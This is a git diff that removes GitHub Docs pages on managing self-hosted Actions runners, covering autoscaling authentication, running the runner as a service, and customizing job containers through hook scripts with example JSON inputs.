-You can create your own autoscaling environment by using payloads received from the [`workflow_job`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook. This webhook is available at the repository, organization, and enterprise levels, and the payload for this event contains an `action` key that corresponds to the stages of a workflow job's life-cycle; for example when jobs are `queued`, `in_progress`, and `completed`. You must then create your own scaling automation in response to these webhook payloads.
-
-* For more information about the `workflow_job` webhook, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job).
-* To learn how to work with webhooks, see [AUTOTITLE](/webhooks).
-
-## Authentication requirements
-
-You can register and delete repository and organization self-hosted runners using [the API](/rest/actions/self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app.
-
-Your access token will require the following scope:
-
-* For private repositories, use an access token with the [`repo` scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes).
-* For public repositories, use an access token with the [`public_repo` scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes).
-* For organizations, use an access token with the [`admin:org` scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes).
-
-To authenticate using a {% data variables.product.prodname_dotcom %} App, it must be assigned the following permissions:
-
-* For repositories, assign the `administration` permission.
-* For organizations, assign the `organization_self_hosted_runners` permission.
-
-You can register and delete enterprise self-hosted runners using [the API](/rest/actions/self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token.
-
-Your access token will require the `manage_runners:enterprise` scope.
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service.md
deleted file mode 100644
index dba917f89376..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service.md
+++ /dev/null
@@ -1,213 +0,0 @@
----
-title: Configuring the self-hosted runner application as a service
-shortTitle: Run the runner app as a service
-intro: You can configure the self-hosted runner application as a service to automatically start the runner application when the machine starts.
-redirect_from:
- - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service
- - /actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-defaultPlatform: linux
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-{% capture service_first_step %}1. Stop the self-hosted runner application if it is currently running.{% endcapture %}
-{% capture service_non_windows_intro_shell %}On the runner machine, open a shell in the directory where you installed the self-hosted runner application. Use the commands below to install and manage the self-hosted runner service.{% endcapture %}
-
-{% capture service_nonwindows_intro %}
-
-> [!NOTE]
-> You must add a runner to {% data variables.product.github %} before you can configure the self-hosted runner application as a service.
-For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners).
-
-{% endcapture %}
-
-{% capture service_win_name %}actions.runner.*{% endcapture %}
-
-{% linux %}
-
-{{ service_nonwindows_intro }}
-
-For Linux systems that use `systemd`, you can use the `svc.sh` script that is created after successfully adding the runner to install and manage using the application as a service.
-
-{{ service_non_windows_intro_shell }}
-
-{% endlinux %}
-
-{% windows %}
-
-> [!NOTE]
-> Configuring the self-hosted runner application as a service on Windows is part of the application configuration process. If you have already configured the self-hosted runner application but did not choose to configure it as a service, you must remove the runner from {% data variables.product.prodname_dotcom %} and re-configure the application. When you re-configure the application, choose the option to configure the application as a service.
->
-> For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners).
-
-You can manage the runner service in the Windows **Services** application, or you can use PowerShell to run the commands below.
-
-{% endwindows %}
-
-{% mac %}
-
-{{ service_nonwindows_intro }}
-
-{{ service_non_windows_intro_shell }}
-
-{% endmac %}
-
-{% linux %}
-
-## Installing the service
-
-{{ service_first_step }}
-1. Install the service with the following command:
-
- ```shell
- sudo ./svc.sh install
- ```
-
-1. Alternatively, the command takes an optional `user` argument to install the service as a different user.
-
- ```shell
- ./svc.sh install USERNAME
- ```
-
-{% endlinux %}
-
-{% mac %}
-
-## Installing the service
-
-{{ service_first_step }}
-1. Install the service with the following command:
-
- ```shell
- ./svc.sh install
- ```
-
-{% endmac %}
-
-## Starting the service
-
-Start the service with the following command:
-
-{% linux %}
-
-```shell
-sudo ./svc.sh start
-```
-
-{% endlinux %}
-{% windows %}
-
-```shell
-Start-Service "{{ service_win_name }}"
-```
-
-{% endwindows %}
-{% mac %}
-
-```shell
-./svc.sh start
-```
-
-{% endmac %}
-
-## Checking the status of the service
-
-Check the status of the service with the following command:
-
-{% linux %}
-
-```shell
-sudo ./svc.sh status
-```
-
-{% endlinux %}
-{% windows %}
-
-```shell
-Get-Service "{{ service_win_name }}"
-```
-
-{% endwindows %}
-{% mac %}
-
-```shell
-./svc.sh status
-```
-
-{% endmac %}
-
- For more information on viewing the status of your self-hosted runner, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners).
-
-## Stopping the service
-
-Stop the service with the following command:
-
-{% linux %}
-
-```shell
-sudo ./svc.sh stop
-```
-
-{% endlinux %}
-{% windows %}
-
-```shell
-Stop-Service "{{ service_win_name }}"
-```
-
-{% endwindows %}
-{% mac %}
-
-```shell
-./svc.sh stop
-```
-
-{% endmac %}
-
-## Uninstalling the service
-
-1. Stop the service if it is currently running.
-1. Uninstall the service with the following command:
-
- {% linux %}
-
- ```shell
- sudo ./svc.sh uninstall
- ```
-
- {% endlinux %}
- {% windows %}
-
- ```shell
- Remove-Service "{{ service_win_name }}"
- ```
-
- {% endwindows %}
- {% mac %}
-
- ```shell
- ./svc.sh uninstall
- ```
-
- {% endmac %}
-
-{% linux %}
-
-## Customizing the self-hosted runner service
-
-If you don't want to use the above default `systemd` service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `serviced` template at `actions-runner/bin/actions.runner.service.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
-
-{% endlinux %}
-
-{% mac %}
-
-## Customizing the self-hosted runner service
-
-If you don't want to use the above default launchd service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `plist` template at `actions-runner/bin/actions.runner.plist.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
-
-{% endmac %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs.md
deleted file mode 100644
index 85454d081282..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs.md
+++ /dev/null
@@ -1,522 +0,0 @@
----
-title: Customizing the containers used by jobs
-intro: You can customize how your self-hosted runner invokes a container for a job.
-redirect_from:
- - /actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs
-versions:
- feature: container-hooks
-type: reference
-shortTitle: Customize containers used by jobs
----
-
-> [!NOTE]
-> This feature is currently in {% data variables.release-phases.public_preview %} and is subject to change.
-
-## About container customization
-
-{% data variables.product.prodname_actions %} allows you to run a job within a container, using the `container:` statement in your workflow file. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container). To process container-based jobs, the self-hosted runner creates a container for each job.
-
-{% data variables.product.prodname_actions %} supports commands that let you customize the way your containers are created by the self-hosted runner. For example, you can use these commands to manage the containers through Kubernetes or Podman, and you can also customize the `docker run` or `docker create` commands used to invoke the container. The customization commands are run by a script, which is automatically triggered when a specific environment variable is set on the runner. For more information, see [Triggering the customization script](#triggering-the-customization-script) below.
-
-This customization is only available for Linux-based self-hosted runners, and root user access is not required.
-
-## Container customization commands
-
-{% data variables.product.prodname_actions %} includes the following commands for container customization:
-
-* [`prepare_job`](/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs#prepare_job): Called when a job is started.
-* [`cleanup_job`](/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs#cleanup_job): Called at the end of a job.
-* [`run_container_step`](/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs#run_container_step): Called once for each container action in the job.
-* [`run_script_step`](/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs#run_script_step): Runs any step that is not a container action.
-
-Each of these customization commands must be defined in its own JSON file. The file name must match the command name, with the extension `.json`. For example, the `prepare_job` command is defined in `prepare_job.json`. These JSON files will then be run together on the self-hosted runner, as part of the main `index.js` script. This process is described in more detail in [Generating the customization script](#generating-the-customization-script).
-
-These commands also include configuration arguments, explained below in more detail.
-
-### `prepare_job`
-
-The `prepare_job` command is called when a job is started. {% data variables.product.prodname_actions %} passes in any job or service containers the job has. This command will be called if you have any service or job containers in the job.
-
-{% data variables.product.prodname_actions %} assumes that you will do the following tasks in the `prepare_job` command:
-
-* Prune anything from previous jobs, if needed.
-* Create a network, if needed.
-* Pull the job and service containers.
-* Start the job container.
-* Start the service containers.
-* Write to the response file any information that {% data variables.product.prodname_actions %} will need:
- * Required: State whether the container is an `alpine` linux container (using the `isAlpine` boolean).
- * Optional: Any context fields you want to set on the job context, otherwise they will be unavailable for users to use. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#job-context).
-* Return `0` when the health checks have succeeded and the job/service containers are started.
-
-#### Arguments for `prepare_job`
-
-* `jobContainer`: **Optional**. An object containing information about the specified job container.
- * `image`: **Required**. A string containing the Docker image.
- * `workingDirectory`: **Required**. A string containing the absolute path of the working directory.
- * `createOptions`: **Optional**. The optional _create_ options specified in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
- * `environmentVariables`: **Optional**. Sets a map of key environment variables.
- * `userMountVolumes`: **Optional**. An array of user mount volumes set in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
- * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container.
- * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container.
- * `readOnly`: **Required**. Determines whether or not the mount should be read-only.
- * `systemMountVolumes`: **Required**. An array of mounts to mount into the container, same fields as above.
- * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container.
- * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container.
- * `readOnly`: **Required**. Determines whether or not the mount should be read-only.
- * `registry` **Optional**. The Docker registry credentials for a private container registry.
- * `username`: **Optional**. The username of the registry account.
- * `password`: **Optional**. The password to the registry account.
- * `serverUrl`: **Optional**. The registry URL.
- * `portMappings`: **Optional**. A key value hash of _source:target_ ports to map into the container.
-* `services`: **Optional**. An array of service containers to spin up.
- * `contextName`: **Required**. The name of the service in the Job context.
- * `image`: **Required**. A string containing the Docker image.
- * `createOptions`: **Optional**. The optional _create_ options specified in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
- * `environmentVariables`: **Optional**. Sets a map of key environment variables.
- * `userMountVolumes`: **Optional**. An array of mounts to mount into the container, same fields as above.
- * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container.
- * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container.
- * `readOnly`: **Required**. Determines whether or not the mount should be read-only.
- * `registry` **Optional**. The Docker registry credentials for the private container registry.
- * `username`: **Optional**. The username of the registry account.
- * `password`: **Optional**. The password to the registry account.
- * `serverUrl`: **Optional**. The registry URL.
- * `portMappings`: **Optional**. A key value hash of _source:target_ ports to map into the container.
-
-#### Example input for `prepare_job`
-
-```json copy
-{
- "command": "prepare_job",
- "responseFile": "/users/octocat/runner/_work/{guid}.json",
- "state": {},
- "args": {
- "jobContainer": {
- "image": "node:18"
- "workingDirectory": "/__w/octocat-test2/octocat-test2",
- "createOptions": "--cpus 1",
- "environmentVariables": {
- "NODE_ENV": "development"
- },
- "userMountVolumes": [
- {
- "sourceVolumePath": "my_docker_volume",
- "targetVolumePath": "/volume_mount",
- "readOnly": false
- }
- ],
- "systemMountVolumes": [
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work",
- "targetVolumePath": "/__w",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/externals",
- "targetVolumePath": "/__e",
- "readOnly": true
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp",
- "targetVolumePath": "/__w/_temp",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions",
- "targetVolumePath": "/__w/_actions",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool",
- "targetVolumePath": "/__w/_tool",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home",
- "targetVolumePath": "/github/home",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow",
- "targetVolumePath": "/github/workflow",
- "readOnly": false
- }
- ],
- "registry": {
- "username": "octocat",
- "password": "examplePassword",
- "serverUrl": "https://index.docker.io/v1"
- },
- "portMappings": { "80": "801" }
- },
- "services": [
- {
- "contextName": "redis",
- "image": "redis",
- "createOptions": "--cpus 1",
- "environmentVariables": {},
- "userMountVolumes": [],
- "portMappings": { "80": "801" },
- "registry": {
- "username": "octocat",
- "password": "examplePassword",
- "serverUrl": "https://index.docker.io/v1"
- }
- }
- ]
- }
-}
-```
-
-#### Example output for `prepare_job`
-
-This example output is the contents of the `responseFile` defined in the input above.
-
-```json copy
-{
- "state": {
- "network": "example_network_53269bd575972817b43f7733536b200c",
- "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
- "serviceContainers": {
- "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
- }
- },
- "context": {
- "container": {
- "id": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
- "network": "example_network_53269bd575972817b43f7733536b200c"
- },
- "services": {
- "redis": {
- "id": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105",
- "ports": {
- "8080": "8080"
- },
- "network": "example_network_53269bd575972817b43f7733536b200c"
- }
- },
- "isAlpine": true
- }
-}
-```
-
-### `cleanup_job`
-
-The `cleanup_job` command is called at the end of a job. {% data variables.product.prodname_actions %} assumes that you will do the following tasks in the `cleanup_job` command:
-
-* Stop any running service or job containers (or the equivalent pod).
-* Stop the network (if one exists).
-* Delete any job or service containers (or the equivalent pod).
-* Delete the network (if one exists).
-* Cleanup anything else that was created for the job.
-
-#### Arguments for `cleanup_job`
-
-No arguments are provided for `cleanup_job`.
-
-#### Example input for `cleanup_job`
-
-```json copy
-{
- "command": "cleanup_job",
- "responseFile": null,
- "state": {
- "network": "example_network_53269bd575972817b43f7733536b200c",
- "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
- "serviceContainers": {
- "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
- }
- },
- "args": {}
-}
-```
-
-#### Example output for `cleanup_job`
-
-No output is expected for `cleanup_job`.
-
-### `run_container_step`
-
-The `run_container_step` command is called once for each container action in your job. {% data variables.product.prodname_actions %} assumes that you will do the following tasks in the `run_container_step` command:
-
-* Pull or build the required container (or fail if you cannot).
-* Run the container action and return the exit code of the container.
-* Stream any step logs output to stdout and stderr.
-* Cleanup the container after it executes.
-
-#### Arguments for `run_container_step`
-
-* `image`: **Optional**. A string containing the docker image. Otherwise a dockerfile must be provided.
-* `dockerfile`: **Optional**. A string containing the path to the dockerfile, otherwise an image must be provided.
-* `entryPointArgs`: **Optional**. A list containing the entry point args.
-* `entryPoint`: **Optional**. The container entry point to use if the default image entrypoint should be overwritten.
-* `workingDirectory`: **Required**. A string containing the absolute path of the working directory.
-* `createOptions`: **Optional**. The optional _create_ options specified in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
-* `environmentVariables`: **Optional**. Sets a map of key environment variables.
-* `prependPath`: **Optional**. An array of additional paths to prepend to the `$PATH` variable.
-* `userMountVolumes`: **Optional**. an array of user mount volumes set in the YAML. For more information, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
- * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container.
- * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container.
- * `readOnly`: **Required**. Determines whether or not the mount should be read-only.
-* `systemMountVolumes`: **Required**. An array of mounts to mount into the container, using the same fields as above.
- * `sourceVolumePath`: **Required**. The source path to the volume that will be mounted into the Docker container.
- * `targetVolumePath`: **Required**. The target path to the volume that will be mounted into the Docker container.
- * `readOnly`: **Required**. Determines whether or not the mount should be read-only.
-* `registry` **Optional**. The Docker registry credentials for a private container registry.
- * `username`: **Optional**. The username of the registry account.
- * `password`: **Optional**. The password to the registry account.
- * `serverUrl`: **Optional**. The registry URL.
-* `portMappings`: **Optional**. A key value hash of the _source:target_ ports to map into the container.
-
-#### Example input for image
-
-If you're using a Docker image, you can specify the image name in the `"image":` parameter.
-
-```json copy
-{
- "command": "run_container_step",
- "responseFile": null,
- "state": {
- "network": "example_network_53269bd575972817b43f7733536b200c",
- "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
- "serviceContainers": {
- "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
- }
- },
- "args": {
- "image": "node:18",
- "dockerfile": null,
- "entryPointArgs": ["-f", "/dev/null"],
- "entryPoint": "tail",
- "workingDirectory": "/__w/octocat-test2/octocat-test2",
- "createOptions": "--cpus 1",
- "environmentVariables": {
- "NODE_ENV": "development"
- },
- "prependPath": ["/foo/bar", "bar/foo"],
- "userMountVolumes": [
- {
- "sourceVolumePath": "my_docker_volume",
- "targetVolumePath": "/volume_mount",
- "readOnly": false
- }
- ],
- "systemMountVolumes": [
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work",
- "targetVolumePath": "/__w",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/externals",
- "targetVolumePath": "/__e",
- "readOnly": true
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp",
- "targetVolumePath": "/__w/_temp",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions",
- "targetVolumePath": "/__w/_actions",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool",
- "targetVolumePath": "/__w/_tool",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home",
- "targetVolumePath": "/github/home",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow",
- "targetVolumePath": "/github/workflow",
- "readOnly": false
- }
- ],
- "registry": null,
- "portMappings": { "80": "801" }
- }
-}
-```
-
-#### Example input for Dockerfile
-
-If your container is defined by a Dockerfile, this example demonstrates how to specify the path to a `Dockerfile` in your input, using the `"dockerfile":` parameter.
-
-```json copy
-{
- "command": "run_container_step",
- "responseFile": null,
- "state": {
- "network": "example_network_53269bd575972817b43f7733536b200c",
- "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
- "services": {
- "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
- }
- },
- "args": {
- "image": null,
- "dockerfile": "/__w/_actions/foo/dockerfile",
- "entryPointArgs": ["hello world"],
- "entryPoint": "echo",
- "workingDirectory": "/__w/octocat-test2/octocat-test2",
- "createOptions": "--cpus 1",
- "environmentVariables": {
- "NODE_ENV": "development"
- },
- "prependPath": ["/foo/bar", "bar/foo"],
- "userMountVolumes": [
- {
- "sourceVolumePath": "my_docker_volume",
- "targetVolumePath": "/volume_mount",
- "readOnly": false
- }
- ],
- "systemMountVolumes": [
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work",
- "targetVolumePath": "/__w",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/externals",
- "targetVolumePath": "/__e",
- "readOnly": true
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp",
- "targetVolumePath": "/__w/_temp",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions",
- "targetVolumePath": "/__w/_actions",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool",
- "targetVolumePath": "/__w/_tool",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home",
- "targetVolumePath": "/github/home",
- "readOnly": false
- },
- {
- "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow",
- "targetVolumePath": "/github/workflow",
- "readOnly": false
- }
- ],
- "registry": null,
- "portMappings": { "80": "801" }
- }
-}
-```
-
-#### Example output for `run_container_step`
-
-No output is expected for `run_container_step`.
-
-### `run_script_step`
-
-{% data variables.product.prodname_actions %} assumes that you will do the following tasks:
-
-* Invoke the provided script inside the job container and return the exit code.
-* Stream any step log output to stdout and stderr.
-
-#### Arguments for `run_script_step`
-
-* `entryPointArgs`: **Optional**. A list containing the entry point arguments.
-* `entryPoint`: **Optional**. The container entry point to use if the default image entrypoint should be overwritten.
-* `prependPath`: **Optional**. An array of additional paths to prepend to the `$PATH` variable.
-* `workingDirectory`: **Required**. A string containing the absolute path of the working directory.
-* `environmentVariables`: **Optional**. Sets a map of key environment variables.
-
-#### Example input for `run_script_step`
-
-```json copy
-{
- "command": "run_script_step",
- "responseFile": null,
- "state": {
- "network": "example_network_53269bd575972817b43f7733536b200c",
- "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
- "serviceContainers": {
- "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
- }
- },
- "args": {
- "entryPointArgs": ["-e", "/runner/temp/example.sh"],
- "entryPoint": "bash",
- "environmentVariables": {
- "NODE_ENV": "development"
- },
- "prependPath": ["/foo/bar", "bar/foo"],
- "workingDirectory": "/__w/octocat-test2/octocat-test2"
- }
-}
-```
-
-#### Example output for `run_script_step`
-
-No output is expected for `run_script_step`.
-
-## Generating the customization script
-
-{% data variables.product.prodname_dotcom %} has created an example repository that demonstrates how to generate customization scripts for Docker and Kubernetes.
-
-> [!NOTE]
-> The resulting scripts are available for testing purposes, and you will need to determine whether they are appropriate for your requirements.
-
-1. Clone the [actions/runner-container-hooks](https://github.com/actions/runner-container-hooks) repository to your self-hosted runner.
-
-1. The `examples/` directory contains some existing customization commands, each with its own JSON file. You can review these examples and use them as a starting point for your own customization commands.
-
- * `prepare_job.json`
- * `run_script_step.json`
- * `run_container_step.json`
-
-1. Build the npm packages. These commands generate the `index.js` files inside `packages/docker/dist` and `packages/k8s/dist`.
-
- ```shell
- npm install && npm run bootstrap && npm run build-all
- ```
-
-When the resulting `index.js` is triggered by {% data variables.product.prodname_actions %}, it will run the customization commands defined in the JSON files. To trigger the `index.js`, you will need to add it your `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` environment variable, as described in the next section.
-
-## Triggering the customization script
-
-The custom script must be located on the runner, but should not be stored in the self-hosted runner application directory (that is, the directory into which you downloaded and unpacked the runner software). The scripts are executed in the security context of the service account that's running the runner service.
-
-> [!NOTE]
-> The triggered script is processed synchronously, so it will block job execution while running.
-
-The script is automatically executed when the runner has the following environment variable containing an absolute path to the script:
-
-* `ACTIONS_RUNNER_CONTAINER_HOOKS`: The script defined in this environment variable is triggered when a job has been assigned to a runner, but before the job starts running.
-
-To set this environment variable, you can either add it to the operating system, or add it to a file named `.env` within the self-hosted runner application directory. For example, the following `.env` entry will have the runner automatically run the script at `/Users/octocat/runner/index.js` before each container-based job runs:
-
-```bash
-ACTIONS_RUNNER_CONTAINER_HOOKS=/Users/octocat/runner/index.js
-```
-
-If you want to ensure that your job always runs inside a container, and subsequently always applies your container customizations, you can set the `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` variable on the self hosted runner to `true`. This will fail jobs that do not specify a job container.
-
-## Troubleshooting
-
-### No timeout setting
-
-There is currently no timeout setting available for the script executed by `ACTIONS_RUNNER_CONTAINER_HOOKS`. As a result, you could consider adding timeout handling to your script.
-
-### Reviewing the workflow run log
-
-To confirm whether your scripts are executing, you can review the logs for that job. For more information on checking the logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures).
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/index.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/index.md
deleted file mode 100644
index 0236032f04f7..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/index.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Managing self-hosted runners
-shortTitle: Manage self-hosted runners
-intro: You can host your own runners to run workflows in a highly customizable environment.
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /about-self-hosted-runners
- - /adding-self-hosted-runners
- - /autoscaling-with-self-hosted-runners
- - /running-scripts-before-or-after-a-job
- - /customizing-the-containers-used-by-jobs
- - /configuring-the-self-hosted-runner-application-as-a-service
- - /using-a-proxy-server-with-self-hosted-runners
- - /using-labels-with-self-hosted-runners
- - /using-self-hosted-runners-in-a-workflow
- - /managing-access-to-self-hosted-runners-using-groups
- - /monitoring-and-troubleshooting-self-hosted-runners
- - /removing-self-hosted-runners
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups.md
deleted file mode 100644
index 5775c1907856..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups.md
+++ /dev/null
@@ -1,168 +0,0 @@
----
-title: Managing access to self-hosted runners using groups
-shortTitle: Manage access with runner groups
-intro: You can use policies to limit access to self-hosted runners that have been added to an organization{% ifversion ghec or ghes %} or enterprise{% endif %}.
-permissions: 'Enterprise accounts, organizations owned by enterprise accounts, and organizations using {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_user %} plans can create and manage additional runner groups using self-hosted runners.
{% ifversion custom-org-roles %}Users with the "Manage organization runners and runner groups" permission can manage runner groups at the organization level.{% endif %}'
-redirect_from:
- - /actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners
- - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners
- - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About runner groups
-
-{% data reusables.actions.about-runner-groups %}
-
-## Creating a self-hosted runner group for an organization
-
-{% data reusables.actions.self-hosted-runner-security-admonition %}
-
-{% data reusables.actions.creating-a-runner-group-for-an-organization %}
-
-{% ifversion ghec or ghes %}
-
-## Creating a self-hosted runner group for an enterprise
-
- {%- ifversion ghec or ghes %}
-
-{% data reusables.actions.self-hosted-runner-security-admonition %}
-
-{%- endif %}
-
-{% data reusables.actions.creating-a-runner-group-for-an-enterprise %}
-
-{% endif %}
-
-{% ifversion ghec or ghes %}
-
-## Changing which organizations can access a runner group
-
-{% data reusables.actions.self-hosted-runner-security-admonition %}
-
-For runner groups in an enterprise, you can change what organizations in the enterprise can access a runner group.
-
-{% data reusables.actions.runner-groups-enterprise-navigation %}
-{% data reusables.actions.changing-organization-access-for-a-runner-group %}
-
-{% endif %}
-
-## Changing which repositories can access a runner group
-
-{% data reusables.actions.self-hosted-runner-security-admonition %}
-
-For runner groups in an organization, you can change what repositories in the organization can access a runner group.
-
-{% data reusables.actions.runner-groups-org-navigation %}
-{% data reusables.actions.changing-repository-access-for-a-runner-group %}
-
-{% ifversion ghec or ghes %}
-
-## Changing which workflows can access a runner group
-
-{% data reusables.actions.self-hosted-runner-security-admonition %}
-
-{% data reusables.actions.about-restricting-workflow-access-with-runner-groups %}
-
-* [Changing which workflows can access an organization runner group](#changing-which-workflows-can-access-an-organization-runner-group)
-* [Changing which workflows can access an enterprise runner group](#changing-which-workflows-can-access-an-enterprise-runner-group)
-
-### Changing which workflows can access an organization runner group
-
-{% data reusables.actions.runner-groups-org-navigation %}
-{% data reusables.actions.changing-workflow-access-for-a-runner-group %}
-
-### Changing which workflows can access an enterprise runner group
-
-{% data reusables.actions.runner-groups-enterprise-navigation %}
-{% data reusables.actions.changing-workflow-access-for-a-runner-group %}
-
-{% endif %}
-
-## Changing the name of a runner group
-
-{% ifversion ghes or ghec %}
-You can edit the name of your runner groups at the enterprise and organization levels.
-
-* [Changing the name of an organization runner group](#changing-the-name-of-an-organization-runner-group)
-* [Changing the name of an enterprise runner group](#changing-the-name-of-an-enterprise-runner-group)
-
-### Changing the name of an organization runner group
-
-{% endif %}
-
-{% data reusables.actions.runner-groups-org-navigation %}
